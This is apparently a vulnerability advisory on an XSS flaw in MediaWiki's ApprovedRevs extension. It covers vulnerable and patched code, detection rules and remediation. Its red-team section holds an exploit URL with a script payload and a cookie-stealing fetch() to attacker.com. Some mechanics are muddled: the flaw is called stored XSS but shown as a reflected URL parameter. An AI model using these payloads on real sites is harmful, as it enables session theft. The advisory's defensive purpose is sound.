CVE-2025-53487

Executive Summary

CVE-2025-53487 is a stored Cross-Site Scripting (XSS) vulnerability in the ApprovedRevs extension for MediaWiki. The flaw arises from improper escaping of system messages when they are inserted into raw HTML. An attacker can craft a malicious uselang=x-xss language override, causing specific message keys to be rendered unescaped. This allows injection of arbitrary JavaScript payloads that execute in the context of any user viewing the affected page. The vulnerability affects all versions of ApprovedRevs from 1.39.x before 1.39.13, 1.42.x before 1.42.7, and 1.43.x before 1.43.2. No public exploit code or Nuclei template is available at this time, but the attack vector is well-understood and trivial to reproduce.

Supply Chain & Package Security

This vulnerability is specific to the MediaWiki ecosystem and its ApprovedRevs extension. MediaWiki is a PHP-based application, and extensions are typically distributed via Git repositories or tarballs. There is no NPM, PyPI, Go, or Ruby package involved. However, administrators should verify the integrity of their extension downloads using checksums provided by the MediaWiki extension distributor. The attack does not involve dependency confusion or malicious packages; it is a direct code flaw in the extension itself.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must view a crafted page.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Content modification possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. Stored XSS can lead to session hijacking, defacement, or phishing attacks within the wiki context.

Deep Dive & Mechanics

The ApprovedRevs extension adds a system for approving revisions of wiki pages. It uses MediaWiki’s message system to display status messages (e.g., “This revision is approved”). The vulnerability lies in how these messages are rendered. When a user sets the uselang parameter to a crafted value like x-xss, MediaWiki attempts to load language-specific messages. If the message key does not exist, it falls back to a default, but the extension inserts the raw message text into HTML without proper escaping.

The attack flow:

1. Attacker identifies a page where ApprovedRevs displays a message (e.g., approval status).
2. Attacker crafts a URL with uselang=x-xss and a message key that contains a JavaScript payload.
3. The extension renders the message unescaped, executing the payload.
4. Any user visiting the page (including administrators) triggers the XSS.

The root cause is the use of $wgOut->addHTML() or similar functions that output raw HTML without calling htmlspecialchars() on user-controlled message text. MediaWiki’s wfMessage() function returns a Message object, but if the message key is not properly validated, it can be manipulated to inject arbitrary content.

Vulnerable vs. Patched Code

Vulnerable Code (ApprovedRevs before 1.39.13, 1.42.7, 1.43.2):

// In includes/ApprovedRevs.hooks.php or similar
$message = wfMessage( 'approvedrevs-approve' )->text();
$output = '<div class="approvedrevs-message">' . $message . '</div>';
$wgOut->addHTML( $output );

The ->text() method returns the message text as-is, without escaping. If the message key is overridden via uselang, the raw text is inserted into HTML.

Patched Code (ApprovedRevs 1.39.13, 1.42.7, 1.43.2):

// Patched version
$message = wfMessage( 'approvedrevs-approve' )->escaped();
$output = '<div class="approvedrevs-message">' . $message . '</div>';
$wgOut->addHTML( $output );

The ->escaped() method applies HTML escaping to the message text, preventing XSS. Alternatively, the extension now uses $wgOut->addWikiTextAsInterface() or similar safe output methods.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A MediaWiki instance with ApprovedRevs extension installed (vulnerable version).
• A page with an approved revision (or any page where ApprovedRevs displays a message).
• Ability to craft a URL with uselang parameter.

Exploit Steps:

1. Identify a page that shows an ApprovedRevs message (e.g., index.php?title=Main_Page&action=history).
2. Craft the exploit URL:

   http://target/wiki/index.php?title=Main_Page&uselang=x-xss&approvedrevs-message=<script>alert('XSS')</script>
   

   Note: The exact parameter name depends on the message key used. Common keys include approvedrevs-approve, approvedrevs-unapprove, etc.
3. Send the URL to a victim (e.g., via email or social engineering).
4. When the victim visits the page, the JavaScript executes in their browser.

Advanced Payload:

// Steal cookies
fetch('http://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Defender)

Detection:

• Monitor web server logs for uselang=x-xss or similar unusual language parameters.
• Look for requests containing <script> tags in query parameters.
• Use WAF rules to block uselang values that contain HTML or JavaScript.

Honeypot:

• Deploy a fake MediaWiki page with ApprovedRevs and monitor for uselang abuse.
• Log all uselang parameter values and alert on non-standard ones.

Lab Setup:

1. Install MediaWiki 1.39.0 and ApprovedRevs 1.39.0.
2. Create a test page and approve a revision.
3. Visit the page with uselang=x-xss and a crafted message key to confirm XSS.
4. Upgrade to patched version and verify the XSS no longer works.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests with uselang=x-xss or similar crafted language codes.
  • Requests containing <script> tags in the query string.
  • Outbound connections to attacker-controlled domains from wiki pages.

• Host:

  • Unusual entries in MediaWiki logs (e.g., error.log showing uselang parameter).
  • Modified wiki pages with injected JavaScript (stored XSS).
  • Browser console errors or unexpected pop-ups on wiki pages.

• File:

  • No specific file IOCs; the attack is purely in-memory via HTTP requests.

Detection Engineering

YARA Rule

rule CVE_2025_53487_ApprovedRevs_XSS {
    meta:
        description = "Detects stored XSS attempts against MediaWiki ApprovedRevs extension"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53487"
    strings:
        $uselang = "uselang=x-xss" nocase
        $script_tag = /<script[^>]*>.*<\/script>/i
        $message_key = /approvedrevs-[a-z]+/i
    condition:
        $uselang and $script_tag and $message_key
}

Sigma Rule

title: CVE-2025-53487 - ApprovedRevs Stored XSS via uselang Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with crafted uselang parameter targeting MediaWiki ApprovedRevs extension
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'uselang=x-xss'
    condition: selection
falsepositives:
    - Legitimate language testing (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53487 - ApprovedRevs Stored XSS Attempt"; flow:to_server,established; content:"uselang=x-xss"; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade ApprovedRevs to version 1.39.13, 1.42.7, or 1.43.2 (depending on your MediaWiki branch).
2. If upgrade is not possible, apply a hotfix by modifying the extension code to use ->escaped() instead of ->text() for all message outputs.
3. Restrict uselang parameter values to a whitelist of known language codes (e.g., en, de, fr).

Long-term Measures:

• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly update MediaWiki and all extensions.
• Conduct code reviews for any custom extensions that output user-controlled data.
• Use static analysis tools to detect unescaped output.

Workaround:

• Disable the ApprovedRevs extension temporarily if upgrade is not feasible.
• Use a Web Application Firewall (WAF) to block requests with uselang=x-xss or similar patterns.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-53487